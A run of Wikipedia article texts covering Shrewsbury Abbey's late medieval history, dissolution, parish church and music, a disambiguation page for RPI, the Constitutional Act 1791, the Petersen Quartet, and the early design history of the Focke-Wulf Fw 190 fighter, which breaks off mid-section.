The abbey's lands and other income sources were found all over Shropshire, although sparse in the south-west, where Earl Roger had less power and influence. As well as landed estates, there were a number of lucrative churches, salt pans and fisheries. After the first spate of donations there was a tendency for endowments to become more scattered, with grants in Lancashire, Staffordshire, Cheshire and even Cambridgeshire. It was impossible to dispose legally of mortmain properties, as they were inherently inalienable: Church property could be lost only if there was doubt about its status. Billingsley was given up to Sées Abbey in exchange for recognition of Shrewsbury's rights in Lancashire. Part of Betton was surrendered to Hamo Lestrange, and is still known as Betton Strange. In 1286 Edward I ordered the surrender of lands at Mere in Staffordshire, a royal grant to the abbey, which Abbot Drayton had given away to William de Merton.
List of endowments
Late Middle Ages: crises, opportunities and felonies
The economic crisis of the early 14th century hit monasteries hard and Shrewsbury was no exception. One response was to evade the risks of demesne farming in favour of the secure income stream from leases: the Shropshire demesnes seem to have been contracted from 21 carucates in 1291 to 12 in 1355. There were other consolidations. Abbot Adam of Cleobury in 1344 traded the abbey's right to cut timber in the king's woods across the county, which was often hard to exploit because of poor communications, for 240 acres of nearby Lythwood, although the exchange cost £100 at the time and an annual rent of £3. The Black Death brought a much worse crisis. Repeated outbreaks of the plague reduced the labour force so that in 1354 Bishop Northburgh blamed the scarcity of labour for the disrepair of many buildings, although he warned the abbey to look after its investment in Lythwood. The next abbot, Henry of Alston, died after a short period of office and soon there were not even enough priests. In 1365 Abbot Nicholas Stevens and the prior of Coventry were each granted a faculty by the Pope to ordain ten to make up the numbers. Stevens seems to have been a fairly effective leader in consolidating the abbey's position.
During the 14th century considerable rebuilding took place at the west end of the Abbey. A sketch of the great west window made in 1658 by Francis Sandford shows a selection of coats of arms that seem to suggest it was glazed around 1388, in the time of Stevens, who may also have been responsible for some of the other 14th century alterations. He was on good terms with the king, Richard II, who attributed his grant of a charter in 1389 not only to his own devotion to St Winifred, but also "the sincere affection we bear and have to Nicholas the abbot, and for his merits."
This may help account for the abbey's relative impunity under Stevens, who sought, through a protracted series of manoeuvres, to annex Sandwell Priory, near West Bromwich in Staffordshire, to Shrewsbury Abbey. In so doing he got away with near-murder. Initially he encouraged one Richard Tudenham to contest the position of the elected prior, John de Kyngeston. In 1370 Kyngeston took legal action against Stevens after suffering an arrow wound in the arm during an attack by five men. In 1379 Stevens, together with two monks and a secular cleric, abducted Kyngeston and held him at a house in Sleap, north of Shrewsbury, until he signed a resignation. Bishop Robert de Stretton installed as prior of Sandwell one of the Shrewsbury monks involved in the abduction, Brother Richard Westbury. However, the conspirators fell out over the spoils, with Tudenham challenging Westbury's appointment. On Westbury's death in 1397, a successor installed by Bishop Richard le Scrope was driven out by an armed gang. Stevens seems largely to have escaped censure for his role in the affair. There can be little doubt, however, of his determination to protect and extend the interests of his abbey. It was apparently under Stevens that a party of Shrewsbury monks stole the relics of St Beuno, St Winifred's uncle and confessor, from Rhewl and installed them in the abbey church. Although the abbey was fined, it was allowed to keep the relics. It was also under Stevens that a new shrine was built for St Winifred herself.
Thomas Prestbury clearly had very different relations with Richard II and was committed to the custody of the Abbot of Westminster in April 1399. He was elected Abbot of Shrewsbury in August, after the king had been imprisoned by Henry IV, which suggests he was suspected of Lancastrian sympathies. His efforts to mediate before the Battle of Shrewsbury in 1403 were in vain but he brought great prestige to the abbey as Chancellor of Oxford University. However, even he seems to have lived under the cloud of an accusation of felony.
The veneration of Winifred and the associated cults of Beuno and Elerius seems to have been of increasing importance throughout this period. It was in the time of Stevens or Prestbury that John Mirk, Prior of Lilleshall, composed his sermon for St Winifred's day, part of his much-copied and later printed Festial. The chronicler Adam of Usk, after recording the death and burial of Owain Glyndŵr, noted that: "The king, with great reverence, went on foot in pilgrimage from Shrewsbury to St Winifred's well in North Wales." This journey is not recorded elsewhere but seems to have been in about 1416, and was probably the occasion of Henry V's proposal to install a chantry in honour of the saint at Shrewsbury. Nothing further was done until 1463, when Abbot Thomas Mynde was allowed by the Pope, in response to a letter from his predecessor Abbot Ludlow, to earmark the tithes of Great Ness for the project, with the proviso that enough remain to support a vicar in the parish. By the time the permission arrived, the Yorkists were dominant and it was not until 1487 that Mynde was able to mobilise resources for the purpose. In line with the late medieval trend towards mobilising lay initiative for such work, he set up a guild of men and women to service the chantry. Two years earlier Margaret Beaufort, Henry VII's mother, had rebuilt the shrine at Holywell; William Caxton had printed a translation of Robert of Shrewsbury's life of Winifred. Despite this late flowering of piety and pilgrimage, however, the abbey was entering on difficult times.
Decline and dissolution
Evidence from the reign of King Henry VIII seems to show the abbey suffering from neglect and maladministration in its later years. Abbot Richard Lye lavished the resources of the monastery on his own family. On 25 October 1508 he granted to his sister Joan and her husband, John Copeland, a large weekly ration of bread and ale, twelve wagonloads of wood annually from Lythwood, and tithes of corn and hay from the townships of Prescott and Stanwardine in the Wood, in Baschurch parish. They also received property: a dwelling house and a shop in Shrewsbury, and meadowland and another home in Colneham. It seems that this generosity with others' property had gone on for some time, as they were also given the reversion of further meadowland then occupied by Joan and the abbot's father, Lodovic Lye. The gifts were limited to Joan's lifetime, apart from the shop and houses, which were to pass to her husband for his lifetime if he survived her. Episcopal visitations from the time of Abbot Richard Baker complain of unpaid debts, poor accounting, buildings in decay and land leased without consulting the chapter. This apparently refers to the grants to Joan and John Copeland, which had been made nominally on behalf of abbot and convent together. The infirmary was in ruins and Thomas Butler, the subprior, had taken its glass for his own chamber.
Initially prompted by a dispute over the annulment of the marriage of Henry VIII to Catherine of Aragon, the Church of England separated from the Roman Catholic Church in 1534, and became the established church by an Act of Parliament in the Act of Supremacy, beginning a series of events known as the English Reformation. In the same year there was a Visitation of the Monasteries, ostensibly to examine their character, but in fact to value their assets with a view to expropriation. The Valor Ecclesiasticus of 1535, however, was an entirely candid valuation of the income of the monasteries. The Crown was undergoing financial difficulties, and the wealth of the church, allied to its political weakness, made appropriation of church property both tempting and feasible. Shrewsbury Abbey's income was assessed by the Valor at precisely £527 15s. 5¾d. Of this, £414 1s. 3¼d. was contributed by the temporalities; essentially, property rents drawn from estates in 26 manors of Shropshire and seven in other counties.
Thomas Cromwell began the Dissolution of the Monasteries in 1536, with the Dissolution of the Lesser Monasteries Act affecting the smaller houses valued at less than £200 a year. This released a torrent of criticism of the larger monasteries that, like Shrewsbury, were comfortably above the threshold. The governance of Thomas Butler, now abbot, was subjected to a litany of complaint to the government by Thomas Maddockes, a London merchant tailor. Much was familiar: the infirmary was no more, numerous parts of the building were in disrepair, and accounting was slack. However, there were instances too of funds being misdirected: the Wrockwardine tithes were no longer funding studies at Oxford, and those of Great Ness did not find their way to Henry V's chantry. Even income intended to buy books for the choir was misappropriated. Boteler was criticised personally for high-handedness and factionalism. More generally, Madockes alleged that the word of God was never preached there since he was abbot."
In 1539 Cromwell moved to the dissolution of the larger monasteries which had escaped earlier, Shrewsbury among them. Henry VIII personally devised a plan to form at least thirteen new dioceses so that most counties had a cathedral (a former monastery). This plan included making Shrewsbury Abbey a cathedral, but, while new dioceses were established at Bristol, Gloucester, Oxford, Peterborough, Westminster and Chester, the plans were never completed at Shrewsbury, Leicester, or Waltham. The 1539 legislation did not dissolve the greater abbeys, but only made arrangements for receiving on the king's behalf any "which hereafter shall happen to be dissolved, suppressed, renounced, relinquished, forfeited, given up, or by any other means come to King's Highness." Shrewsbury was one of the last to surrender, not because it put up any resistance, but because it lay at the end of the commissioners' circuit. Thomas Legh, one of the six clerks in chancery, officiated as the other commissioners demanded and received the surrender. The Abbey was dissolved on 24 January 1540, with a pension of £80 assigned to the abbot and £87 6s. 8d. to the 17 monks.
Post-Reformation
The abbey site and surrounding land seem to have been rented to Thomas Forster of Evelith, Shifnal, and his wife, Elizabeth, and it was they who had to account to the Exchequer for the abbey temporalities around 1542. However, on 22 July 1546 the lands and site were sold to two property speculators, Edward Watson of Northampton and Henry Herdson, a London skinner. They had only a pecuniary interest in the abbey site and sold it the following day to William Langley, a Shrewsbury tailor. After five generations, the last of the Langley line left it in 1701 to Edward Baldwin, a Middle Temple lawyer. As he died without issue, it was passed via his sister to the Powys family.
The western part of the Abbey (nave, side aisles, porch and west tower) was preserved as a parish church and the remaining buildings were either re-used or demolished. The building suffered severely from neglect after the Reformation. The lead from the roof was removed, leading to decay and eventual collapse. The Norman clerestory was still in existence in the 17th century but it was later taken down and the roof was rebuilt immediately above the triforium. Considerable portions of the monastic buildings were still standing in 1743 but most have since been demolished, particularly when Thomas Telford built his A5 road through the Abbey grounds c.1836, removing much of the remaining evidence of the monastic layout. The old refectory pulpit is still visible across the road from the church and a single wall of an Abbey building, now an integral part of another building, remains. In the late 19th century the possibility of the Abbey becoming a cathedral, for a Shropshire-wide diocese, was again considered, but legislation to that effect, drafted in 1922, was defeated by one vote in the House of Lords in 1926.
Holy Cross Church
The abbey's church had always doubled as the church for the Abbey Foregate parish, as it owed its origins to the church, founded by Siward the Fat. It was a vicarage controlled by the abbey community. Its title varied slightly through time. One William, is known to have served as clericus de Cruce, clerk of the Cross, in the early 13th century. Around mid-century, Henry was the vicar of the altar of the Holy Cross. A late medieval reference in the records of the Diocese of Hereford calls it Vicaria altaris Sancte Crucis, ecclesia paochialis de Foriete Monachorum: Vicarage of the altar of Holy Cross, parish church of the Monk's Foregate. From the brief reign of Edward V (1483) comes a document that appends Sancti Egidii or Saint Giles' to the name of the parish.
The parish had its own bailiffs, burgesses and seal, distinct from those of Shrewsbury itself. However, Shrewsbury's renewed municipal charter of 1586 brought Holy Cross parish under its civic authority. Until the Dissolution, the right to present to the vicarage, or advowson, belonged to the Abbot and convent of Shrewsbury Abbey. Then it passed to the Crown. However, in 1797, legislation was passed to transfer the advowson to Thomas Noel Hill, 2nd Baron Berwick of Attingham Park, in exchange for the patronage of some parishes he held in Suffolk.
The vicarage was fairly generously endowed with land and other income sources under an agreement made apparently by Abbot John Drayton in the 13th century. After the Dissolution of the Abbey, the parish church continued to be housed in the remains of the abbey church.
The church seems to have been damaged as a result of measures taken to fortify Shrewsbury after the Parliamentarians took the town in 1645. On 2 December 1646 the Parliamentarian County Committee instigated a survey and set aside timber for repairs. In 1649 the churchwardens paid Thomas Landford £10 1s. to repair breaches on the north side and east end, using stones from the old abbey buildings, and were able to offset against this 3s. they made by selling materials recovered from the damaged part of the church. In this period the church was generally called Abbey Foregate Church, as Puritans rejected the veneration of saints and relics. Under the ultimately abortive proposals for a Presbyterian polity in Shropshire, dated 29 April 1647, Abbey Foregate parish was part of the county's first classis, along with most of the churches in Shrewsbury and the surrounding area. However, the minister was not appointed an elder of the classis and the parishioners remained uncooperative with Puritan church governance even after the collapse of the Presbyterian scheme.
List of vicars
The following list is based on information in Owen and Blakeway's History of Shrewsbury and the Clergy of the Church of England database. CCEd references are given where available – broadly post-Reformation, but not under the Commonwealth.
Medieval
William, known to have attested a deed during period 1216–28.
Henry, first entitled vicar of the altar of the Holy Cross, witnessed a deed of which another witness was known to be living in 1241.
Sir Gilbert, witnessed a deed in the time of Abbot William Upton, c. 1270.
Sir William de Baschurch, vicar in the time of Abbot John Drayton, late 13th century.
Sir Martin, died 1330.
John de Hilton, occurs 1330.
Roger de Humphreston, occurs 1334, left 1349.
William Tandy, 1349–65.
William le Bruys, occurs 1365.
Sir Hamon, occurs 1398.
William de Toonge (presumably of Tong, Shropshire), vicar in 1400, when he exchanged the parish with his successor.
Sir Adam Tresale, 12 May 1400, resigned the free chapel of Greote in Hereford diocese to exchange for Holy Cross, which he exchanged again the following year.
John Besselow, exchanged Wolstanton with Tresale to come to Holy Cross, but died following year.
Sir Thomas More, 8 September 1402. Resigned to take up Shrewsbury Abbey's parish of Wrockwardine, 16 March 1426.
Sir William Kemsey, 24 June 1426, resigned following year to exchange with successor.
Sir John Gomond, 9 May 1427, previously vicar of Stottesdon. Presented by Abbey to rectory of Berrington, 1430.
Sir Richard Lye, 29 July 1430, resigned immediately.
Sir William Marshall, 1 August 1430.
Sir Thomas Morris, occurs 1483, died 1503.
Richard Baker, 1503–30
William Hordley, 1530–58.
Post-Reformation
Edmund Bennett, 24 May 1559 – 1610, also served as curate of Ballidon chapel in Derbyshire, 1561.
Francis Gibbons, 16 February 1611 – 7 January 1640. Grandson of William Langley, he became a D.D. and chaplain to Charles I. He oversaw the installation of an altar rail at Holy Cross in 1635, a clear sign of Laudian sympathies. His brother, Richard Gibbons, was elected as one of the bailiffs in 1628 and was a leader of the High Church opposition on the corporation to the Puritans around William Rowley.
James Logan, instituted 4 May 1640, resigned 1663. However, he seems to have been ejected in February 1645, when Parliamentarian forces took Shrewsbury.
Commonwealth and Protectorate
Joshua Richardson, 1645–6, an Oxford graduate from Broughton, near Myddle, was installed by the new Parliamentarian regime. He soon left to become Rector of Myddle.
John Beale, c. 1647–8.
Moses Leigh, c. 1649-50
John Bryan, c. 1650–59. A noted Puritan preacher and son of another, John Bryan of Coventry. The corporation had tried unsuccessfully to recruit the elder Bryan for St Mary's Church, Shrewsbury and the younger's installation at Holy Cross seems to have been seen as a compensation. He found the congregation intractably conservative and for a time could not administer the Lord's Supper because they refused to elect elders. Under advice from Richard Baxter, he investigated a move to St Julian's before moving to Chad church in Shrewsbury to replace Thomas Paget.
Moses Leigh again, appointed by Richard Cromwell, under letters patent dated 3 May 1659.
Post-Restoration
James Logan returned to office at Restoration, 1660. Resigned 1663.
Timothy Hammond, July 1663. Buried 2 May 1671. CCEd currently has no records of him beyond 1665.
Moses Leigh again, according to Owen and Blakeway, after he was put out of Norton in Hales in the Great Ejection of 1662 but later conformed. This third incumbency is not currently mentioned in CCEd, which has a lacuna.
Samuel Pearson, 1676–1727. He was ordained a priest on 7 October 1676 and was made vicar of Holy Cross only two days later. He seems to have been popular in the parish, as attested in address from the parishioners to the bishop after his death on 16 November 1727.
John Latham, 1727–50. Instituted on 28 November 1627, he quickly offended parishioners by proposing to remove a painting of the Crucifixion installed, according to the protesters, in the chancel by Pearson, although there is actually no chancel in the church. Bishop Chandler supported him and the painting was removed.
William Gorsuch, 1750–82. Gorsuch was so meticulous in keeping records of births and deaths in the parish that his data was vital to the work of Richard Price, an important figure in the development of actuarial science.
William Oakeley, 1782–1803. Oakeley was already rector of Eaton-under-Heywood and of Forton, Staffordshire when appointed to Holy Cross. In 1782 he became domestic chaplain to Bishop Cornwallis, who granted him special dispensation before instituting him vicar of Holy Cross. He did, however, resign the living at Eaton in 1786.
Henry Lingen Burton, 1804–31, the first to be presented by Lord Hill, also held at least two other livings while at Holy Cross: Atcham and Madeley, Shropshire.
Notable later Vicars
William Henry Draper (hymnwriter) - Vicar 1889-99
Notable Curates
Walsham How - later Bishop of Wakefield and hymnwriter - Curate 1848-51
Present-day church
Much of the original Norman 11th century building survives in the present Abbey church, notably the short thick piers in the eastern half of the nave and the remnants of the original transepts. Stones with three sculptured figures, representing John the Baptist, Saint Winefride and St. Beuno, were found in a garden and have been restored to their original position in the screen. During the 19th century there were major restoration projects to restore the clerestory, and the east end of the church was redesigned by John Loughborough Pearson to contain a chancel and sanctuary.
Inside the west end, on opposite walls, are stone war memorial tablets to parishioners who died serving in the separate World Wars. One name on the tablet for the First World War is war poet Wilfred Owen (as Lieutenant W.E.S. Owen M.C., Manchester Regiment). In the Abbey churchyard is a memorial sculpture entitled "Symmetry" and erected by the Wilfred Owen Association on his birth centenary (1993) by Paul de Monchaux, incorporating a line from Owen's poem Strange Meeting inscribed by Paul's wife, Ruth.
In recent times, the area surrounding the Abbey has been prone to flooding.
Bells
At the Dissolution, the Abbey had two rings of five bells, one in the current tower and one in a central tower. In 1673, a ring of eight was cast by George Oldfield of Nottingham and these were replaced over time by the present bells. Nine peals were rung at the Abbey in the eighteenth century. The bells were rung full-circle until at least 1895, but in 1909 concern over the safety of the tower led to the bells being removed and rehung without wheels in a new frame. They are currently sounded by an Ellacombe apparatus, whereby they can be rung by a single person.
Treble and 2nd - Thomas Mears II of London, 1825
3rd - John Taylor & Co of Loughborough, 1884
4th - John Briant of Hertford, 1812
5th - Charles and George Mears of London, 1846
6th - Abel Rudhall of Gloucester 1745
7th - John Warner & Sons of London, 1877
Tenor - Abraham Rudhall of Gloucester, 1713
Music
Choirs
The Abbey has a long-standing reputation for excellence in liturgical music. Records from the mid-19th century show the existence of a choir of boys and men, which was maintained until after the Second World War. The current choir consists of a mixed adult choir which sings the majority of services. The choir regularly visits cathedrals to sing services in the absence of the cathedral choir. Recent destinations include Worcester and Norwich (2012), Ripon (2011), Manchester (2010), and Blackburn and Peterborough (2009).
Organ
The Abbey has a fine organ, built in 1911 by William Hill and Son. It was designed to be on the scale of a cathedral organ, but lack of funds meant the original scheme was never completed. Some stops were subsequently added but, today it is still incomplete. The quality of the Hill organ and the richness of its Edwardian tone still shine through after 100 years of service, and the organ is a wonderful and fitting complement to the beauty of this ancient Abbey church. The console is also in original condition and is unusual for the right side positioning of the swell pedals, and for the sight of stop stubs (7) for the "missing" ranks.
With the passage of time, the pneumatics have become increasingly unreliable and there have also been problems with the wind systems. A scheme for the organ's renovation and completion was launched in 2011 to appeal for the necessary £400,000 for the scheme to start. The recent provision of two new modern blowers has greatly improved both the tone and the reliability of the organ. The current specification of the organ is available on the National Pipe Organ Register. The proposed specification of the completed organ, after the renovation, is available on the Abbey website.
Work on renovation is currently [2021] in progress.
Organists & Directors of Music
1806-1820 Thomas Tomlins
1820-1831 John Amott
1831-1847 John Hiles
1847-1865 William Fletcher
1865-1892 James Warhurst
1892-1919 Percy William Pilcher
1919-1922 -
1922-1937 George Walter Tonkiss
1937–1945 G A Turner
1945–1947 Edgar Daniels
1947-1974 John R Stanier
1974–1976 Ray Willis
1976–1978 Robert Gillings
1978–1984 Kenneth Greenway
1984–1986 Charles Jones
1986-1986 Sean Tucker
1986–1988 Paul Derrett
1988-1992 Keith Orrell
1992-1994 James Lloyd-Thomas
1995–1999 William Hayward
2000–2006 David Leeke
2007–2010 Tim Mills
2011-2013 Tom Edwards
2013-2015 Duncan Boutwood
2015-2016 Paul David Watson (Acting)
2016- Peter Smith
Cadfael
Shrewsbury Abbey is the setting for The Cadfael Chronicles by Ellis Peters, in which the fictional Brother Cadfael is embroiled in a series of historical murder mysteries. The character of Cadfael is a Welsh Benedictine monk living at the Abbey in the first half of the 12th century. The historically accurate stories are set between about 1135 and about 1145, during The Anarchy, the destructive contest for the crown of England between King Stephen and Empress Maud.
Burials
Burials at the Abbey
Roger de Montgomerie, 1st Earl of Shrewsbury
Hugh of Montgomery, 2nd Earl of Shrewsbury
William FitzAlan, Lord of Oswestry
The churchyard
Most of the present churchyard covers the site of the east end of the monastic church. It was created as the town's first public cemetery, having been bought by a group of gentlemen to avoid the ground being sold in individual plots. This was incorporated by an Act of Parliament obtained in 1840 and consecrated in 1841, but was commercially unsuccessful; 148 burials took place between the latter year and 1888, when it was sold back to the Abbey Church. The municipal General Cemetery at Longden Road (opened 1856) overtook the Abbey Cemetery in public usage.
See also
Diocese of Lichfield
Bishop of Shrewsbury
Grade I listed churches in Shropshire
Listed buildings in Shrewsbury (outer areas)
List of English abbeys, priories and friaries serving as parish churches
List of ecclesiastical restorations and alterations by J. L. Pearson
Footnotes
References
External links
Shrewsbury Abbey
British History Online
Benedictine monasteries in England
1083 establishments in England
Christian monasteries established in the 11th century
Monasteries in Shropshire
Churches in Shrewsbury
Former Roman Catholic churches in England
Church of England church buildings in Shropshire
J. L. Pearson buildings
Grade I listed buildings in Shropshire
Monasteries dissolved under the English Reformation | [
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] |
241208 | https://en.wikipedia.org/wiki/RPI | RPI | RPI may refer to:
Universities
Rensselaer Polytechnic Institute, Troy, New York, US
Richmond Professional Institute, merged into Virginia Commonwealth University
Science and technology
Raspberry Pi (RPi), a UK single-board computer
Reticulocyte production index, a blood test result
Ribose-5-phosphate isomerase (Rpi), an enzyme
Organizations
Recognition Professionals International
Republican Party of India
Republican Party of Iowa
Other
Rating Percentage Index, in college sports
Retail price index, UK inflation measure
Revenue Protection Inspector, on UK public transport
Rock progressivo italiano, Italian progressive rock
See also
RP 1 (disambiguation)
RPL (disambiguation) | [
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241211 | https://en.wikipedia.org/wiki/Constitutional%20Act%201791 | Constitutional Act 1791 | From 1896 known as The Clergy Endowments (Canada) Act 1791, the statute passed at Westminster in the 31st year of George III, and itemised as chapter 31 (31 Geo 3 c 31), was commonly known as the Constitutional Act 1791 (). It was an Act of the Parliament of Great Britain.
History
The Act reformed the government of the Province of Quebec (1763-1791) to accommodate, amongst other Loyalists, the 10,000 United Empire Loyalists who had arrived from the United States following the American Revolution. The Province of Quebec, with a population of 145,000 French-speaking Canadians, was divided in two when the Act took effect on 26 December 1791. The largely unpopulated western half became Upper Canada (now southern Ontario) and the eastern half became Lower Canada (now southern Quebec). The names Upper and Lower Canada were given according to their location along the St. Lawrence River. Upper Canada received English law and institutions, while Lower Canada retained French civil law and institutions, including feudal land tenure and the privileges accorded to the Roman Catholic Church.
The legislative Council for the Affairs of the Province of Quebec, with its subset Executive Council cabinet, was continued and reinforced by the establishment of freeholder-elected legislative assemblies. These elected assemblies led to a form of representative government in both colonies; the Province of Quebec had not previously had a legislative assembly.
The Constitutional Act attempted to create an established church by forming the clergy reserves, that is, grants of land reserved for the support of the (Protestant) Church of England. Income from the lease or sale of these reserves, which constituted one-seventh of the territory of Upper and Lower Canada, from 1791 went exclusively to the Church of England and, from 1824 on in a complex ratio, the (Presbyterian) Church of Scotland. These reserves created many difficulties in later years, making economic development difficult and creating resentment against the Anglican church, the Family Compact, and the Château Clique, although it did eventually lead to the growth of an Ottawa neighbourhood known as The Glebe. The act was problematic for both English and French speakers; the French Canadians and the Roman Catholic church in Quebec felt they might be overshadowed by Loyalist settlements and increased rights for Protestants, while the new English-speaking settlers felt the French still had too much power. However, both groups preferred the act and the institutions it created to the Quebec Act which it replaced.
The Act of 1791 is often seen as a watershed in the development of French Canadian nationalism as it provided for a province (Lower Canada) which the French considered to be their own, separate from English-speaking Upper Canada. The disjuncture between this French-Canadian ideal of Lower Canada as a distinct, national homeland and the reality of continued Anglo-Canadian political and economic dominance of the province after 1791 led to discontent and a desire for reform among intellectual segments of the French and English of Lower Canada. The frustration of French and English Patriots over the nature of Lower Canadian political and economic life in the province fuelled the Lower Canada Rebellion of 1837–38.
Gallery
See also
Constitutional history of Canada
Act of Union (1840)
Guy Carleton, 1st Baron Dorchester
References
External links
Great Britain Acts of Parliament 1791
Constitution of Canada
Political history of Ontario
Political history of Quebec
Lower Canada
Upper Canada
1791 in Canada
Constitutions of former British colonies | [
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241213 | https://en.wikipedia.org/wiki/Petersen%20Quartet | Petersen Quartet | The Petersen Quartet was a string quartet founded in 1979 by students at the Hanns Eisler Music Conservatory in Berlin, including founding first violinist, Ulrike Petersen, who has recently rejoined the quartet to alternate in the first chair with Conrad Muck. They have been guided by, amongst others, Sandor Vegh, Thomas Brandis and the Amadeus Quartet. The quartet has not been active since autumn 2009.
Members
Violin: Conrad Muck (since 1992)
Violin: Ulrike Petersen (1979-1992, since 2008), Gernot Süßmuth (1979-2000), Daniel Bell (2000-2008)
Viola: Ula Ulijona (since 2007), Friedemann Weigle (1979-2007)
Cello: Henry-David Varema (since 2000), Hans-Jakob Eschenburg (1979-2000), Jonas Krejci
External links
Official website in English
Official website in German
Musical groups established in 1979
German musical groups
German string quartets
Musical groups from Berlin | [
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241214 | https://en.wikipedia.org/wiki/Focke-Wulf%20Fw%20190 | Focke-Wulf Fw 190 | The Focke-Wulf Fw 190 (nicknamed Würger; ) is a German single-seat, single-engine fighter aircraft designed by Kurt Tank at Focke-Wulf in the late 1930s and widely used during World War II. Along with its well-known counterpart, the Messerschmitt Bf 109, the Fw 190 became the backbone of the (Fighter Force) of the . The twin-row BMW 801 radial engine that powered most operational versions enabled the Fw 190 to lift larger loads than the Bf 109, allowing its use as a day fighter, fighter-bomber, ground-attack aircraft and to a lesser degree, night fighter.
The Fw 190A started flying operationally over France in August 1941 and quickly proved superior in all but turn radius to the Spitfire Mk. V, the main front-line fighter of the Royal Air Force (RAF), particularly at low and medium altitudes. The 190 maintained superiority over Allied fighters until the introduction of the improved Spitfire Mk. IX. In November/December 1942, the Fw 190 made its air combat debut on the Eastern Front, finding much success in fighter wings and specialised ground attack units ( – Battle Wings or Strike Wings) from October 1943.
The Fw 190A series' performance decreased at high altitudes (usually 6,000 m (20,000 ft) and above), which reduced its effectiveness as a high-altitude interceptor. From the Fw 190's inception, there had been ongoing efforts to address this with a turbosupercharged BMW 801 in the B model, the much longer-nosed C model with efforts to also turbocharge its chosen Daimler-Benz DB 603 inverted V12 powerplant, and the similarly long-nosed D model with the Junkers Jumo 213. Problems with the turbocharger installations on the -B and -C subtypes meant only the D model entered service in September 1944. These high-altitude developments eventually led to the Focke-Wulf Ta 152, which was capable of extreme speeds at medium to high altitudes ( at ). While these "long nose" 190 variants and the Ta 152 derivative especially gave the Germans parity with Allied opponents, they arrived too late to affect the outcome of the war.
The Fw 190 was well-liked by its pilots. Some of the Luftwaffe's most successful fighter aces claimed many of their kills while flying it, including Otto Kittel, Walter Nowotny and Erich Rudorffer. The Fw 190 had greater firepower than the Bf 109 and, at low to medium altitude, superior manoeuvrability, in the opinion of German pilots who flew both fighters. It was regarded as one of the best fighter planes of World War II.
Early development
Genesis
Between 1934 and 1935 the German Ministry of Aviation (RLM) ran a contest to produce a modern fighter for the rearming Luftwaffe. Kurt Tank entered the parasol-winged Fw 159 into the contest, against the Arado Ar 80, Heinkel He 112 and Messerschmitt Bf 109. The Fw 159 was hopelessly outclassed and was soon eliminated from the competition along with the Ar 80. The He 112 and Bf 109 were generally similar in design but the 109's lightweight construction gave it a performance edge the 112 was never able to match. On March 12, 1936, the 109 was declared the winner.
Even before the 109 had entered squadron service, in autumn 1937 the RLM sent out a new tender asking various designers for a new fighter to fight alongside the Bf 109, as Walter Günther had done with his firm's follow-on to the unsuccessful He 100 and He 112. Although the Bf 109 was an extremely competitive fighter, the Ministry was worried that future foreign designs might outclass it, and wanted to have new aircraft under development to meet these possible challenges. Tank responded with a number of designs, most powered by a liquid-cooled inline engine.
However, it was not until a design was presented using the air-cooled, 14-cylinder BMW 139 radial engine that the Ministry of Aviation's interest was aroused. As this design used a radial engine, it would not compete with the inline-powered Bf 109 for engines, when there were already too few Daimler-Benz DB 601s to go around. This was not the case for competing designs like the Heinkel He 100 or twin-engined Focke-Wulf Fw 187, where production would compete with the 109 and Messerschmitt Bf 110 for engine supplies. After the war, Tank denied a rumour that he had to "fight a battle" with the Ministry to convince them of the radial engine's merits.
Design concepts
At the time, the use of radial engines in land-based fighters was relatively rare in Europe, as it was believed that their large frontal area would cause too much drag on something as small as a fighter. Tank was not convinced of this, having witnessed the successful use of radial engines by the U.S. Navy, and felt a properly streamlined installation would eliminate this problem.
The hottest points on any air-cooled engine are the cylinder heads, located around the circumference of a radial engine. In order to provide sufficient air to cool the engine, airflow had to be maximized at this outer edge. This was normally accomplished by leaving the majority of the front face of the engine open to the air, causing considerable drag. During the late 1920s, NACA led the development of a dramatic improvement by placing an airfoil-shaped ring around the outside of the cylinder heads (the NACA cowling). The shaping accelerated the air as it entered the front of the cowl, increasing the total airflow, and allowing the opening in front of the engine to be made smaller.
Tank introduced a further refinement to this basic concept. He suggested placing most of the airflow components on the propeller, in the form of an oversized propeller spinner whose outside diameter was the same as the engine. The cowl around the engine proper was greatly simplified, essentially a basic cylinder. Air entered through a small hole at the centre of the spinner and was directed through ductwork in the spinner so it was blowing rearward along the cylinder heads. To provide enough airflow, an internal cone was placed in the centre of the hole, over the propeller hub, which was intended to compress the airflow and allow a smaller opening to be used. In theory, the tight-fitting cowling also provided some thrust due to the compression and heating of air as it flowed through the cowling.
As to the rest of the design philosophy, Tank wanted something more than an aircraft built only for speed. He outlined the reasoning:
In contrast to the complex, failure-prone fuselage-mounted main gear legs of the earlier Fw 159, one of the main features of the Fw 190 was its wide-tracked, inwards-retracting landing gear. They were designed to withstand a sink rate of , double the strength factor usually required. Hydraulic wheel brakes were used. The wide-track undercarriage produced better ground handling characteristics, and the Fw 190 suffered fewer ground accidents than the Bf 109. (The Bf 109's narrow-track, outwards-retracting landing gear hinged on its wing root structure to help lower weight, but this led to inherent weakness and many failures and ground loops.) The Fw 190's retractable tail gear used a cable, anchored to the "elbow" at the midpoint of the starboard maingear's transverse retraction arms, which ran aftwards within the fuselage to the vertical fin to operate the tailwheel retraction function. The tailwheel's retraction mechanical design possessed a set of pulleys to guide the aforementioned cable to the top of the tailwheel's oleo strut, pulling it upwards along a diagonal track within the fin, into the lower fuselage; this mechanism was accessible through a prominently visible triangular-shaped hinged panel, on the left side in the fin's side sheetmetal covering. On some versions of the Fw 190 an extended tailwheel oleo strut could be fitted for larger-sized loads (such as bombs or even a torpedo) beneath the fuselage.
Most aircraft of the era used cables and pulleys to operate their controls. The cables tended to stretch, resulting in the sensations of "give" and "play" that made the controls less crisp and responsive, and required constant maintenance to correct. For the new design, the team replaced the cables with rigid pushrods and bearings to eliminate this problem. Another innovation was making the controls as light as possible. The maximum resistance of the ailerons was limited to , as the average man's wrist could not exert a greater force. The empennage (tail assembly) featured relatively small and well-balanced horizontal and vertical surfaces.
The design team also attempted to minimize changes in the aircraft's trim at varying speeds, thus reducing the pilot's workload. They were so successful in this regard that they found in-flight-adjustable aileron and rudder trim tabs were not necessary. Small, fixed tabs were fitted to control surfaces and adjusted for proper balance during initial test flights. Only the elevator trim needed to be adjusted in flight (a feature common to all aircraft). This was accomplished by tilting the entire horizontal tailplane with an electric motor, with an angle of incidence ranging from −3° to +5°.
Another aspect of the new design was the extensive use of electrically powered equipment instead of the hydraulic systems used by most aircraft manufacturers of the time. On the first two prototypes, the main landing gear was hydraulic. Starting with the third prototype, the undercarriage was operated by push buttons controlling electric motors in the wings, and was kept in position by electric up and down-locks. The armament was also loaded and fired electrically. Tank believed that service use would prove that electrically powered systems were more reliable and more rugged than hydraulics, electric lines being much less prone to damage from enemy fire.
